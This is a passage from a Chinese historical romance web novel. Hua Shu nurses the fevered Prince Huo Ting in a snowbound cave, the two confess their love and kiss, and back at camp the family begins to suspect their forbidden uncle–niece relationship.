华姝背过身,慢慢解开衣襟,取出贴身的豆沙红色小衣。 被风雪一阵乱吹,满打满算也就这块布料最干净了,大小刚好,还自带系带,又不必撕扯外面的保暖衣物。 她重新系好盘扣,然后转回身,包裹好霍霆左臂的伤口,在上方靠近心脏的位置打结系紧,“条件简陋,只能先简单处理下。” 动作有多仔细,眸色就有多愧疚。 小衣上余有少女馨香的体温,一缠上手臂,连带着霍霆的心口都被暖得熨帖。 他抬起另一只手,蹭了蹭她脸颊,温声哄慰:“要是没你,我都想不起包扎这伤口。” “要是没我,您也不会受这伤。” 华姝眸色里的愧,更浓一分。 霍霆不乐意瞧见她这般,又开始分你的我的,一口一个“您”唤着,刚刚那股子亲近感眼见又要疏散。 他沉默几息:“再唤我一声。” “什么?”华姝疑惑抬眸,对上他促狭的目光,反应了会,后知后觉。 这下她也顾不上愧疚了,眼睫慌乱地扑簌两下,扭开脸。 “呵。”霍霆无奈地轻笑一声,“又明知故问。” 男人鼓震的胸膛,挨着她没了遮挡的心口,连带着她那处都跟着震了震。 华姝指尖虚虚拢了拢鬓角,背过身:“听不懂您在说什么。” 霍霆挑眉,“那你脸红什么?” 华姝抿唇:“……冻的。” 霍霆哑然失笑,小骗子。 ——霍澜舟。 已经很久无人这般称呼他。 未封王时,铠甲上沾着塞外风沙的将士们喊他将军,结拜兄弟在庆功宴上拍着他肩膀叫老大。 入京后蟒袍加身,众人都尊称他为将军,就连三位兄长唤他澜舟时,都要先敛了神色行半礼。 敢连名带姓质问他的人,天底下已是屈指可数。 偏是眼前这个小人,将质问说得像撒娇,也是个稀罕的存在了,得好生疼着、护着。 霍霆又将怀中姑娘拢紧些,手上规矩地避开那处浑圆,嘴上却在明知故问:“这样如何,可还会冻得面颊通红?” 华姝不理他,重新阖上眼,静静聆听他坚实有力的心跳。 再寻常不过的姿势,往常也不是没这般过,唯有经历那惊险遭难,才倍加珍惜这来之不易的温存。 洞外的风雪,也开始慢慢减势。 一切都在往好的方向发展,只待天亮后,长缨他们能发现这处半山腰的山洞,带人来救。 谁知幸存不过片刻,霍霆体温渐渐高涨起来。 起初,华姝只当是两人互相取暖的缘故,他自己也是一声没吭。 直到她身子僵了换坐姿,额角不经意触碰他下颌,被烫得心尖一悸。 “王爷?”华姝忙抬手轻探他额头,掌心被灼烧得厉害,“您发高热了!” 她听见自己声音都在颤。 自古以来,高热都颇为害人。 有药尚且会致命,眼下连口热水都没有…… 第53章 定情之吻 “您放心, 有我在,您一定会没事的。” 华姝经过最初的慌乱,就让自己强行冷静下来。她从霍霆怀里钻出来,凝神扣脉后, 将他大氅裹严实, 忙要去外面捧些干净的新雪。 霍霆抬手拽住她手腕, 半阖眼,语声低迷地交代:“那两根冻僵的蛇别扔下去, 明早将你这红色小衣挂到洞外,长缨他们便能寻到此处了。” 华姝半跪在他身侧,身形僵了一瞬,鼻头酸涩。 这算什么,交代后事吗? 她喉头吞咽了下,将那股酸涩逼退回去,努力平静道:“我不行的,我怕蛇,还是要您来帮我挂出去。” 霍霆捏了捏手腕, 依旧是平日宠溺的语气:“乖, 听话, 听我说完。” 一滴眼泪,顺着华姝眼尾无声淌下。 她下意识别过去头, 不想让他瞧见。 又很快不舍地转回头, 一瞬不瞬地瞧着他。 霍霆呼吸变得缓慢, 面颊烧得浆红, “如果,”他顿了顿,喟叹:“如果真到那一步, 你就将现下查到的所有证据,匿名交与现任兵部尚书孙诚。宋煜有杀害韶华公主之嫌,皇上若想惩治宋尚书,尽管这些证据不足,也会成为他的催命符。但如果皇上没有继续追查,你就猫起来安生过日子,一个人别跟他们硬破赢。” “不行的,”华姝不停摇头,她边用手背抹净眼角,边道:“他们那么多都在盯着我,没有您,我活不下去的。” “别怕,还有长缨、萧成他们呢。” 霍霆伸出食指,虚指了指华姝腰间坠的玉佩,“把它收好,谁也别给。如果霍府住得不开心了,就搬去别院住。暗卫都在那边,他们会奉你为主,誓死追随。” “这玉佩……”华姝哑然一瞬,低头打量那块雕刻有麒麟激浪的羊脂白玉,恍然:“是调动您暗卫的信物?” 霍霆颔首,他的姑娘果然聪慧。 假以时日,必成大器。 “这么贵重的物件,我不能要。” 华姝要解下来还他,霍霆握住她手不让,“好生留着,再贵重也没有你贵重。” 他勉强撑着力气,抬手为她揩去淌落下巴的泪珠,“我欺负了这么好的姑娘,总要负责到底。” 华姝死死咬紧下唇,却仍是绷不住从潮水般涌上来的泪珠,她背过身去,以拳抵在鼻头,拼命眼下去一股股酸涩。 然后擦干脸颊,站起身,郑重其事对他道:“我告诉您哦,今日算您走运了,我刚好在医书上看过野外治疗热症的法子,就算阎王爷也甭想从我华神医手里抢人。” 霍霆轻点了点头,有气无力地应好。 “您瞧外面,那么多新雪可以用呢,可比干燥初秋那会走运多了,这说明老天都在帮您呢。” 华姝变着法子宽慰他,也在宽慰自己:“都说救人一命胜造七级浮屠,您曾为那么多百姓遮风避雨,福源厚着呢,没准以后能活成个老怪物。” 霍霆勉强点了点头,回应她。 “那您等着我,我这就去取新雪,很快就回来。”说罢,华姝不敢多耽搁,带着那方苏帕疾步走去外面。 霍霆昏沉的目光,随着她一点点移动。直到他的姑娘,纤细背影被洞外的风雪彻底吞没。 他无力阖上眼。 世界陷入冰冷的黑暗。 雪缎绢帕不大,华姝只兜了一小把新雪,就急匆匆往回走,可还是晚了一步。 “王爷……” “王爷??” 华姝蹲在霍霆身侧,唤了好几声,但他人已经烧得昏迷过去,双眼紧闭,没了意识回应。 “没关系,我会医好您的。” “如果连这点风寒热症都治不好,我又何谈撑起华家满门?” 华姝如此暗示自己,可声音在急得发抖,碰着绢帕的手指也在抖。 她深吸一口气,集中精神,迫使大脑去回忆那医书上的法子。 同时将绢帕放到膝头,双手去解霍霆的衣襟盘扣,尽量让自己忙碌起来,以驱散那股浓重的不安。 按照书上所言,华姝先用雪水浸透的冷帕子,轮流擦拭霍霆的额头、颈部、腋窝,如此反复三次,以作初步降温。 风寒热证的症状,是冷热交替。为了避免引起寒战,这一过程不可贪长。 之后,就变是温毛巾热敷了。 华姝重新去洞外取新雪,重新洗净、打湿帕子,背对着洞口,蹲到霍霆身边。 她没有温水,那就用体温。 腋下娇嫩的肌肤,一沾到冰凉的帕子,就冰得她倒吸一口凉气,浑身颤栗不止。 但华姝没有退缩,他刚刚用体温为她暖手暖脚时,何尝不是这般忍着钻心刺骨的寒意? 她平缓着绷紧的呼吸,挨过最初那股煎熬劲,后面就轻松了些。 帕子焐热后,分别轮番擦拭着霍霆的颈部、腋窝、肘窝、手心、脚心。 这个降温过程缓慢且绵长。 可霍霆始终没有苏醒的迹象。 相识这么久,他从未如此羸弱过。哪怕是最初在山上失明瘫痪时,他意志都是坚定且清醒的,可以在茅草屋内坐镇一方,指挥萧成他们奔走四方。 这样的霍霆,让华姝不安。 随着他昏迷的时辰越长,华姝心头笼罩的不安愈加浓郁。 “王爷……” “王爷您别吓我好不好?” 华姝抿了抿干涩的唇,才发现唇瓣也始终在抖:“你刚刚说要负责到底的,只留些金薄人手,算什么负责到底?” “我们华家满门可都在地下瞧着呢,您这么不负责,小心他们把你打出来。” “如果真有好歹,我也会记恨你一辈子的。才不去住你那别院,我会早早找个年轻有为的郎君嫁了,同他生儿育女,然后每年清明都带着孩子去气你。” “你听到了吗,霍澜舟?” “听到了就赶紧睁开眼,你不是最惯用那双眼睛凶我了吗?” “醒过来呀,再凶一个给我瞧瞧。” 华姝一边给他擦拭,一边絮絮念叨着,企图唤醒霍霆的意识。 说话间,大颗大颗的泪珠,吧嗒吧嗒往下掉。 然后,也不知是环境太寒凉的缘故,还是真气着了他,霍霆周身气温渐渐寒沉下去,四肢开始蜷缩起来,发冷得打起摆子。 华姝见状,忙暂时放下帕子,将他寒冰似的双脚搂入衣襟下,用热烘烘的肚皮给他取暖。 可霍霆不自觉想靠近热缘,双手将她箍得生疼。 华姝咬牙忍着,一只手臂捂住他腹部,一只手臂圈住他两侧腋下。同时将头搭在他肩头,用呼出的热气暖着他肩窝。 可霍霆还是在抖。 这点子零星的热意,对深陷寒潭的人无异于杯水车薪。 华姝拧眉想了想,用夹在中间的那只手,艰难解开自己余下的盘扣,然后接纳下他整个冰冷发抖的身子,冰她冷不丁一抖。 但这个办法似乎小有成效。 霍霆圈着她的手臂,松缓了些力道。 华姝挣扎着要抽出手,无意识地说:“您再松开些,我把大氅拢严实点。” 然后,她真就顺利地抽出了手臂。 华姝细致地将大氅一点一点拢掩饰,继续环抱住他,取暖。 她枕在他宽厚肩头,沉吟几息,后知后觉,眼眸发亮:“您可以听到我说话,对么?” 她仰头瞧着他的侧脸,“澜舟,你能听见了,是不是?” 回应她的,只有呼呼风声。 霍霆依旧双眼紧闭。 但没关系,哪怕是一点点正向回应,对于华姝而言都无异于吃了颗定心丸。 于是她一边搂着他,一边继续在他耳畔,柔柔低语:“你醒过来吧,只要醒过来,我日后都听你的。” “我给你重新做双新鞋子,只给你绣荷包,学做你爱吃的辛辣菜肴。” “亲吻时会主动回应你。” “还有月桂居的小床,我回头也换张大的,等着你随时过来……” 从前,她总是在意旁人的目光,总盼着他早点出去打仗。 可现下再扪心自问,旁人谁的目光,能抵得过他性命之重? 全天下的人加起来,又有几人会一次次向她施以援手,包容她,引导她,给予她卓立人前的底气,甚至舍身跳下悬崖来相救? “澜舟,我想,我其实早喜欢上你了。”华姝像只依恋的猫,用鼻尖亲昵地蹭了蹭他脸颊,“若非这层叔侄关系……若非如此,我这样卑弱的孤女,何德何能入你青眼?” “所以,你到底喜欢我什么呢?分明在山上时,净说了些花言巧语来哄骗你。” “你醒过来告诉我,好么?我想听……” 就这般,华姝绞尽脑汁,搜肠刮肚,将所有埋在心底的他爱听的悄悄话,都在这个人迹罕至的悬空山洞,瞧瞧说与昏迷的他。 窗外的雪势渐小,天越来越亮。 霍霆又发了次高热,但华姝用手背探过他额头,似乎没之前那么烫得吓人了。 这无疑是个好消息。 于是华姝重新打起精神,乐此不疲地重复着之前的法子,冷敷,热敷,交替为他降温。 期间,霍霆偶然呢喃了一声。 “你说什么?”华姝附耳去听。 他干裂起皮的唇瓣微动:“渴。” 渴…… 华姝滞住一瞬。 他这种情况确实该补充水分,可此刻四周简陋的环境,可谓巧妇难为无米之炊。 最后,她逡巡不定的目光,落在那把匕首上。 不过片刻迟疑,华姝便捡起匕首,用帕子擦拭干净刀刃,然后闭上双眼,倏地往自己小臂上划了一刀。 火辣辣的伤口,瞬间疼得她满身冷汗。 但瞧着透着咸味的鲜红血滴,她又会心一笑,将伤口凑到霍霆唇边,一滴一滴滑落进去,“澜舟,喝水了。” 半混半醒中的霍霆,滞缓一瞬,喉结滑动,慢慢吞咽下去。 做完这一步,华姝整个人明显虚弱不少,顺势依偎他在身边歇着。 心中不忘向苍天祷告—— 上天呐,倘若是我与他触天悖伦,此劫皆由我生,这业障我一人来担。 她视线穿过洞口,仰望着苍天。 直到困乏袭来,眼皮沉沉落下。 苍天似也在望着这对劫后余生的相拥壁人,片刻后,风停雪霁。 不知过去多久,山洞内先有一人缓缓睁开眼。 是霍霆。 他看着怀中衣衫半解的姑娘,再瞧向她那截子染红的杏色衣袖,瞳孔微缩。 不愿相信地去挽起她衣袖,触目惊心的结痂血痕,入眼催泪。 这些年只流血不流泪的铮铮铁汉,眼眶罕见地涌上一股酸涩。 霍霆喉结滚了滚:“傻姑娘。” 他稍微活动了下烧得酸乏的四肢,将华姝重新捞进怀里暖着。他撕下一条里衣包扎好她的小臂,低头凑近,耳语煦然:“姝儿,醒醒,别睡了。” 这种地方睡不多,多半也要高热。 他可没有她那深厚博学的医术底子。 华姝正困倦得厉害,贪睡地嘤咛了声,小脸继续往他暖烘烘的怀里钻。 可几息之后,她意识克服了习惯,撑着精神掀开眼皮。 四目相对,她眸光呆直:“……你、你醒了!” 霍霆含笑瞧着她娇憨的反应,“托华神医的福,阎王爷没敢收我。” 华姝不好意思:“您又打趣我。” 霍霆挑眉,“您?” 华姝动了动唇瓣,低头抿嘴笑,不认账。 白净下巴又转瞬被勾起。 空气安静一瞬。 男人的目光也深了几分,像融化的蜜糖,专注黏着她眼,又从她鼻梁,缓缓滑向莹润的唇。 华姝有所感应,羽睫微动。 他倾身靠近,檀木香混着体温笼罩下来,拇指轻柔地托住她后颈,仿佛捧着易碎的琉璃。 双唇相触的刹那,华姝听见自己紊乱的呼吸,眼眸习惯性合上。 他忽然顿住动作,鼻尖凑近她耳畔,问:“是谁刚刚说的,会主动回应我?” 犬齿若有若无地碾过她下唇,温存中带着克制的期待。 华姝耳尖发烫,羞得想躲,但倒底忍住了。她柔声宛如春水,欲语先羞:“那你……闭上眼。” 霍霆配合得顺遂。 华姝稍微酝酿了会,而后双手捧住他脸庞,仰起纤白鹅颈,慢慢吮回去。 这个备受期待的吻,很快得到回应。 霍霆不断加深这个吻。 绵长的唇齿交缠间,华姝有根青丝不慎扫过他凸起的性感喉结,蜻蜓点水而过。 男人呼吸粗重起来,蓦然反客为主。 带着攻城略地的气势将人完全笼罩,贪婪地吮吸她唇瓣,撬开贝齿,长驱直入。 他从来都是一头驰骋旷野的凶兽,会对她爱怜地收起爪牙,诱她靠近,诱她深入。 一旦情到深处,解开禁忌,便霸道得不容抗拒,华姝只能任他予取予夺。 她被迫仰头承受这个深吻,只觉心脏缺氧,像撒了火种,烘烤得人呼吸稀薄。 再过几息,她便像被掠夺掉了所有力气,身子酥软下去。 灼热的掌心出现及时,顺着她脊背一路下滑,轻轻托住她后腰。 华姝双臂从后攀住他的肩,招架不住,指甲隔着衣料嵌入他肉里,呜咽反抗。 怎料却成了对他的某种鼓励。 更细更密的噬吻,磅礴而落。 男人情难自已地揉搓着她腰间软肉,伴随着布料摩擦的细碎声响,强势大手越收越紧,恨不得将她揉碎进身体里。 东方第一缕曦光射进山洞,满地都洒满了缠绵的金黄叠影。 一吻毕。 两人拉开距离,视线仍交缠在一起。 他器宇轩昂,凤目含笑,如凛冽寒冬冰雪初融。 她风情款款,杏眸微弯,似江南烟雨乍破晴空。 霍霆抬手,轻拨开黏在姑娘白嫩颈侧的凌乱发丝。然后就这般低头瞧着,一瞬不瞬地瞧着她由衷的笑靥。 “又不是头一次见,别瞧了吧。”华姝姗然垂眸,轻推他肩,“如今天色已亮,长缨他们定在附近搜找呢,且把那……那衣衫挂到岩边去。” “还未成婚,就管起我来了?”霍霆抬手轻刮她鼻梁,“成,都听……”他顿了顿,在华姝羞得钻进大氅里后,话锋一转:“都听华神医的。” 华姝缩在大氅里,暗啐:“坏人!” 霍霆很快去而复返。 华姝掀开大氅,让他重新坐进来,两人继续环抱在一起。 她转念想了想,忧心问:“若是幕后之人先瞧见这信号,我们会不会又落入险境?” “不会。”霍霆笃定道。 “此时天已大亮,他们不敢再冒然出手。”他说:“这会因着那具肖似韶华公主的女尸,宋家人自己尚且捉襟见肘,哪还能分出精力来对付咱?” 华姝点点头,“倒也是。” 如此,她悬着一夜的心,算是放平下来。 东方晨光愈加明亮,歇歇映罩住两人,身子又暖和不少。 艰难求得的静谧时刻,华姝枕着霍霆平稳有力的心跳,恍惚之间还担心是在做梦。 她不时打住他腕骨扣脉,以确保他还好好地留在这世间。 “您将我后半生打点得那般周全,倘若万一,”她偶有伤感:“万一是我先去世……” 霍霆不悦地捏住她唇瓣,斩钉截铁:“你小我一轮,不会有这种可能。” 华姝唇瓣倔强地挣扎出一条小缝,声音变得像尖嘴雏鸟般,闷呜呜的:“万一呢?” 第54章 “你梦中为何总唤四叔的…… 霍霆眉峰微动, 松开她,转头看向洞外万顷如橘红朝霞。 沉默良久,才缓声开口。 “万一真有那么一日,我便上书请旨, 卸甲归田。择一处青山绿水, 修一次同棺共枕。” 华姝不免动容, 将脸颊埋进他胸口,亲昵地蹭着。 结果一不小心蹭过了火, 霍霆意味地瞧着她,喉头滚动间,低头缓缓凑近。 以为又是索吻,她按捺住乱了的心跳,等他唇瓣贴上来。 怎料,这人是来扎她的。 男人下巴冒出了青茬,蹭在姑娘家娇嫩的脸蛋上,刺刺的,痒痒的。 他步步紧逼, 她节节败退。 一直到她软软地喊了几声“澜舟”告饶, 霍霆才勉为其难, 高抬贵手。 两人静静望着彼此,但笑不语。 这时, 洞口的晨曦微微倾斜, 只在霍霆一人身上镀了层金灿灿的光。 他问:“冷不冷?咱换过来坐。” 华姝摇头, 说没事。 可心里莫名像被针刺了下, 觉得一阴一阳的寓意不是个好兆头,好像他们谁会先离开似的。 她无端想起对苍天的那则祷告。 后颈不寒而栗。 * 营地 裴夙自从断崖回来,就盘腿枯坐在炭盆上, 已近一个时辰。 容城看不透他在想什么,是惋惜华家唯一后人的殒命,还是真生出了几丝舐犊情深。 容城从来看不透,华姝在裴夙心中的位置。也或许,他本人也始终未看透,直到猝然撞上这生死关头…… “主子,霍府的人出发了。”帐外有人来复命。 裴夙:“带了多少人手?” “圣上说刺客尚未剿清,营地余下之人的安危也不可忽视,只给十二名侍卫。算上霍府的小厮侍卫,统共有三十七人。” 裴夙凛然睁眼,沉声:“多少?” 那人嘭地跪地,期期艾艾:“皇命不可违,他们……” 容城也是诧异,不怪主子动怒,就这点人手,想在深山雪地里搜救,无异难于登天。 可昭文帝怕死,霍府就只能独自吞下这口闷气,哪怕营地所有侍卫都是霍霆带出来的兵。 裴夙嗤了声,“收拾收拾,咱去。” 容城骤然失色,连忙跪下拦住他脚步,“主子,不能去啊。” 裴夙凉声:“让开。” 容城连连磕头,“主子息怒,属下也忧心华姑娘安危。但咱师出无名,会暴露您身份的。” 账外,那人声音颤颤巍巍:“主子息怒,属下还听闻,霍府跟同僚同窗们又借了十来个小厮,想来也够用了。” “想来多一个人就多一分希望。”容城小心瞧着裴夙的脸色。 裴夙周身寒沉下来,下颌线一紧再紧 良久,他闭上双眼,几不可闻一叹。 为何非要报仇? 平平安安活着不好么…… * 霍霆二人,用长缨送来的特制绳索捆住腰身,平安被拽上悬崖。 经过整夜折腾,华姝已微有低烧。 霍霆没有假手于人,一路背着她回到北侧的哨塔。 霍玄跟在后面,目光落在两人交叠的背影上,若有所思。 但又见霍霆边走边询问昨夜情形,面沉如水,没有丝毫异样,似乎只当背了个寻常晚辈,毕竟此处没有旁的女子。 木屋门前,大夫人和二夫人正带着婢女,满脸心事重重等着。 远远望见叔侄这亲密的举动,不由面面相觑,慌忙迎上前。 “有劳两位嫂嫂了。”霍霆象征性打声招呼,便要越过她们,抱着华姝进屋去。 二夫人急走一步拦住他,“澜舟啊,还是将姝儿交给我们照看吧。住在帐篷舒服些,也方便请太医诊治。” 霍霆不以为意:“无妨,我等会召御医来此也是一样的。” 大夫人也上前一步:“你是不知道,如今营地正人心惶惶的,御医得紧着太后那边,不方便两头跑。” 二夫人附和:“是啊,到时候耽误了姝儿的病情就不好了。何况帐篷离着我们也近,照顾姑娘家,还是我们方……有经验些。” 霍霆顿足,思考着事情如何安排合理些。 华姝却是心头重重一落,仿佛又站回悬崖边,脚下突然一空。 霍霆常年不在家不知道,大夫人和二夫人之间积怨已久。如此意见统一,反常得令她心慌。 身前,霍霆回头看她,“那就先跟你大伯母她们回去。” 很寻常的一句话。 但从素来威严的霍霆口中说出,就显得不同寻常。 不是发号施令,语气透着微不可闻的征询。 大夫人和二夫人,又无声对视一眼。 华姝余光瞥见,大脑更是空白一片,怔怔点了点头。 苓霄被留下秘密盯梢、放火,这会趁乱混入人群,经霍霆“随手”一指,她顺理成章上前接过华姝,背回营地。 等华姝意识回笼后,人已经躺在霍千羽的塌上。她无力松张双手,掌肉十道指痕,已是血肉模糊。 她攥了一路…… 霍千羽将祛风寒的汤药送来床边,她心性直爽,复杂的眼神不似两个长辈会隐藏。 华姝动了动唇瓣,“给四叔也送一碗去吧”,这话到了嘴边,终是没能说出口。 汤药喝过,她很快沉沉睡去。 霍千羽回到二房帐中,大夫人和二夫人还在激烈争论着。 二夫人虚指着北侧放向,“你自己不也瞧见了吗?就那亲热劲,寻常叔侄能做得出来?” 大夫人始终不愿信,“姝儿虚弱成那样子,身边又没个丫鬟,可不就得是当叔叔的背她回来。” “对啊,上次在皇龙寺,也是四叔抱着我上的担架。”霍千羽帮腔:“四叔正值忠勇,姝儿沉稳懂事,我还是不信他们俩会……我看就是阮糖贼心不死,想拉人垫背!” 就在刚刚,她们几人去审问阮糖,为何昨夜会在华姝的帐中,又为何会爬了龙床? “我说我是无辜的,你们信吗?”阮糖冷笑:“这都是镇南王爷,为了保护他的心尖宠,故意迷昏我,好偷龙转凤。” 霍千羽三人自是不信:“你简直是丧心病狂,胡说八道!” “我丧心病狂?呵呵呵……”阮糖笑得凄厉,“是你们太没心没肺吧?当初在皇龙寺,王爷为何独独带着华姝下山?后面又几次寻她去别院配药问诊,难道满京城就只剩她一个大夫了?” 阮糖如数家珍,又将她们看来是巧合的细节,全部换个视角讲述,听得三人张口结合。 眼下,二夫人还在嘲讽质问着:“那你看过谁家好叔叔,做决定还要征询侄女意见的?澜舟对千羽这样吗,对华羽这样过吗?” 大夫人叹了叹:“那也像是肯定语气,说不准是咱们这会太敏感了。” “行!你们真行!”二夫人气急反笑:“我还闹得里外不是人了?那你们就继续包庇她吧,反正你们也从她那得了不少好处。” 大夫人沉脸,“二弟妹,你这话就不中听了。” “我难得说得不是事实?”二夫人提高嗓音:“若非澜舟为了护着那个臭丫头,你打量你哪来的管家权?” 大夫人:“那分明是你处事不公。” “你倒是处事公允,结果呢?把阮糖这么个祸害也带出来了!”二夫人嗤道:“这人回头入宫好处一点没咱的,若出了麻烦全得算咱头上。作孽啊!” 狭窄的帐篷内,争吵声此起彼伏,一波比一波激烈。 但华姝对此一无所知。 她昏睡到午后,才幽幽转醒。 一歪头,就瞧见霍千羽正坐在床边守着她,神色比先前还要复杂。霍千羽喂给她一碗温盐水,迟疑着开口:“姝儿,咱俩关系如何?” 华姝不解,“自是极好的。” “那……”霍千羽的语气三分挣扎,七分小心翼翼:“我能问你一个较为冒昧的问题么?” 华姝攥紧被角,但面上不显:“你问。” 霍千羽:“你梦中为何总唤四叔的表字,澜舟?” 第55章 深夜幽会 狭窄床笫间, 空气突然稀薄起来。 像是有一张无形的枷锁,扼住她的喉,揪紧她的心。 华姝呼吸艰涩,她动了动唇瓣, 又动了动, 勉强挤出一丝笑意:“什么澜舟?我喊的是……难受。” “啊?”霍千羽张口结舌。 华姝略略转睛, “你去将御医开的药方拿与我。” 霍千羽不解,但照作。 华姝瞧着白纸黑字的药名, 几不可闻松了口气,“你瞧,这上面桂枝的剂量乃五钱,但脾胃虚寒者应当减量使用。” “桂枝……我想起了来!”霍千羽恍然:“我从前也是喝了胃难受,还是你后来帮我药量减半的。” 华姝如释重负。 霍千羽也松了好大一口气,“我就说嘛,你好端端地梦里怎么会喊……算了算了,不说了。”她摆了摆手,“你饿不饿, 我这就让人去准备午膳。” 霍千羽性子大大咧咧, 信以为真。可大夫人和二夫人那边, 似乎还在观望。 午后,霍霆与宋家当堂对峙, 从御帐中全身而退。趁大伙都歇晌, 他本想来瞧一眼华姝。却被苓霄告知:“姑娘在大小姐帐中, 刚吃过药歇下。” 夜半, 他巡防结束,没有就近歇在哨塔木屋,逆着寒风回到营地帐篷。又被苓霄告知:“大夫人不放心姑娘的身子, 让大小姐夜里留下照看。” 如此,有些答案不言而喻。 昨夜本来一切天衣无缝,天明趁着众人混乱,快速控制住阮糖即可。 计划赶不上变化,黑衣人侵袭搅局,长缨等人只顾着搜救,没人去顾及她。 天空又飘起零星小雪。 有一瞬间,霍霆仿佛又回到那个山洞,四面透风。 这次却只剩他一个人,独穿夜色而来,又披着雪雾独归。 苓霄望着他英挺背影走远,再瞧瞧那顶风中抖动的帐篷,和边防的无数座城池高墙相比,它很小很薄。 真要硬闯,根本拦不住这位诚驰疆场的王。 都说人言可畏,他又何曾畏惧过谁? 奈何如今有了软肋。 帐篷内,华姝白天睡多了晚间其实没睡着,外面微弱的对话声传来,她悄声睁眼。 对话声很快停了,随后脚步声渐行渐远,似有跟无形的红线,揪扯着她的心越来越紧。 华姝也怀念起那个山洞,虽饥寒交迫,但只有他们二人,可以肆无忌惮,可以畅所欲言。 忽然,身后的帐篷响起细微的摩擦声。 她无端想到一种可能。 随后很快否决,只当是风。 大抵是太过思念,都开始凭空臆想了。 须臾后,窸窣的摩擦声再起。 华姝呼吸微滞,她先是悄看了熟睡在身侧的霍千羽,而后缓缓翻过身,面朝里侧。 借着床头那站昏黄的油灯,撞上面前映出的高大深廓暗影。 不可思议的杏眸,溢出层层叠叠的明光—— 连苓霄都以为她睡了,他如何得知? 华姝身子挪近帐篷几寸,以右臂作枕,左手指尖作笔,轻轻勾勒起他的轮廓。 劲壮的腰身还未描摹完,指腹忽然触碰到灼热的掌心。 她会心一笑,五指作掌,隔着鹿皮质地的帐篷,贴合上去。 没办法做到严丝合缝。 他的手大出她一圈还多。 但实实在在的触感,添满了她空荡多时的心房。 都说十指连心,掌心想贴,且能看作心与心相牵。 帐外,霍霆感受到娇软小手贴上来,满身疲惫被一瞬吹散,饶是寒风凛冽,也恍觉如沐春风。 他原本确已走远,念及她下午一直在睡着,便抱着试试的心态,折返回来。 经苓霄禀告,华姝是歇在床榻里侧,挨着帐篷这边。 霍霆习惯性地想捏捏华姝指尖,迫于帐篷绷得紧,不得以放弃。 能这边掌心相贴,已然足矣。 帐内,华姝察觉到他黯然放弃的细微举动,眼睫微动,重新以手指作笔,在他掌心慢慢写下一字。 念。 最后一笔落下,账外传来低低的闷笑。 “……”这人似乎还挺受用。 华姝耳廓却是一红,她抿起唇,故意在他温热大掌挠痒几下,然后得逞地快速收手,翻身闭眼。 霍霆应是听出她挪远,没再多留。 不知她是否错觉,他这次的脚步声轻快了些许。 * 接下来几日,霍霆都在集中精力,应对是昭文帝和宋家的事。 都说清官难断家务事,那一夜风雪,牵扯到太后颇为疼爱的韶华公主,宋煜背后是宋妃和宋尚书。 宋煜攀咬福佳公主是幕后主使。福佳公主坚称他空口无凭,在污蔑她!福佳公主背后是皇后和徐阁老……重重势力,滔滔口舌,皆令昭文帝烦扰不堪。 龙心不悦,加上和亲之事尘埃落定,秋猎行程提前结束。 御撵拔营,交由霍霆全权打理。他近几日愈加事务缠身,难得照面。 华姝觉得这般也挺好,省得再被大夫人和二夫人瞧出端倪。 那日回程的马车上,她朝窗外多瞧了几眼,大夫人便凑过来询问,“姝儿在瞧什么?” “溪边的那株寒梅,开得甚好。”华姝如实答道。 大夫人跟着瞧一眼,瞧见梅红葳蕤吐芳后,隐有愧疚地收回目光,“花色确实秀美。” 如此一来,华姝余下两三日再没看过窗外风景,只将看过的医书又重新再看一遍,作些更细致的批注。 太后身心不适,御驾临时改道,去驿馆歇脚。 房间分配,仿照先前营地帐篷的规制 许是华姝风寒痊愈,又或她与霍霆这几日相安无事,大夫人没理由再让霍千羽与她同吃同住。 主仆三人来到房中,关起门来安置。 华姝站定在二楼窗前,俯瞰着人潮熙攘的黄昏街头,整个人浅浅吐出一口浊气,白雾散尽。 “姑娘风寒刚好,小心再着了凉。”半夏要过来拦,苓霄难得主动开口搭话,拦下她,“让姑娘透口气吧。” 暮色四合,车马劳顿数日,许多人都早早熄灯歇下,华姝亦然。 按照她对霍霆的了解,数日未见,那人必要乘着月色,做一回“梁上君子”。 意外的,她床榻上辗转多时,都不见窗外有动静。 苓霄看透她心思,假装下楼添茶水,才问得:“大老爷和二老爷似在与王爷商议公务,秉烛夜谈。” 华姝默了默,放下茶盏,“无碍,早些睡吧。” 她抱着汤婆子,独自钻回泛凉的被褥,潸然阖眼。只觉黄昏吐去的那口寒气,此刻顺着脚底,重新钻回心头。 片刻后,眼皮沉重下来。 她混沌睡去,又惺忪惊醒—— “是我。” 霍霆胸膛贴靠住她背脊时,先报上名讳,轻声打消不安与戒备。 嗅着清凛宁神的檀意,华姝浅浅打下哈欠,仰脸回望。男人侧脸深廓浓影,双眼半阖垂看着她,气质如珪如璋。 霍霆单手撑头,另一手如愿捏到那纤纤柔夷,爱不释手地把玩着。 华姝也不知他怎么这样喜好她的手脚,每一寸都要抚摸许久。 多日不见,她由着他摆弄。 像只被挠了下巴的猫,舒服地眯上眼,倦倦懒懒开口:“苓霄适才去打听,说你和大伯父他们要谈正事,我就没再等你。”因着半夏她们在外间小榻上,声量压得很低。 “大哥他们说,母亲生辰快到了,询问我今年是否要大办。” 霍霆握着她的手,一根根地捏着手指,“察觉他俩用意,我便提议烫酒暖身,边喝边谈。然后长缨烫了两壶烧刀子,一壶热水。” 华姝啼笑皆非。 双肩耸动得笑趴在他怀里,“合该给长缨涨些月银。” 霍霆顺势揽住她腰肢,任由她脸颊蹭在心口,少女如兰气息萦绕入鼻间,喉头禁不住滚了滚:“夫人发话,自然无有不应。” 依旧是平稳无波的语气。 每个字也都稀疏平常。 偏偏凑在一起,连音调都染上旖旎的潮气。 华姝察觉到男人温柔攻势下的硬挺,不敢在他怀中再乱动,软声嘴硬:“谁是你夫人?” 他大掌摁着她酥腰又贴近几分,不答反问:“谁指派我涨月银,谁自然就是。” 华姝呼吸微乱,“我就随口一说,你不应也无妨,反正伤心的不是我。” “那该如何让你伤心泣泪,嗯?”霍霆低头凑过来,嘴唇擦过她的鼻梁,在她唇上吻了下,声音染上了一层质感的沙哑。 华姝反应几息,脑海里“嗡”地一声,什么都听不见,耳膜里只有自己的心跳声,一下一下,清晰又剧烈,剧烈到她能数出自己的心跳。 “不、不可,半夏她们还在外面。” “她们不敢醒。” 他说的是“不敢”,而非“不会”。 这人好生霸道。 说话间,霍霆右手捏着她的脖颈,大拇指用力压在她下颌线边缘,在华姝羞愤的视线中,灼热的唇瓣覆上来。 不容置疑,撬开唇齿。 她下意识闭上眼,这人却不允她有丝毫逃避,不慎温柔地咬痛她的舌,要求她睁眼直视回去,就像他专注凝望一般。 霍霆对华姝向来怜惜,还是头一次如此。 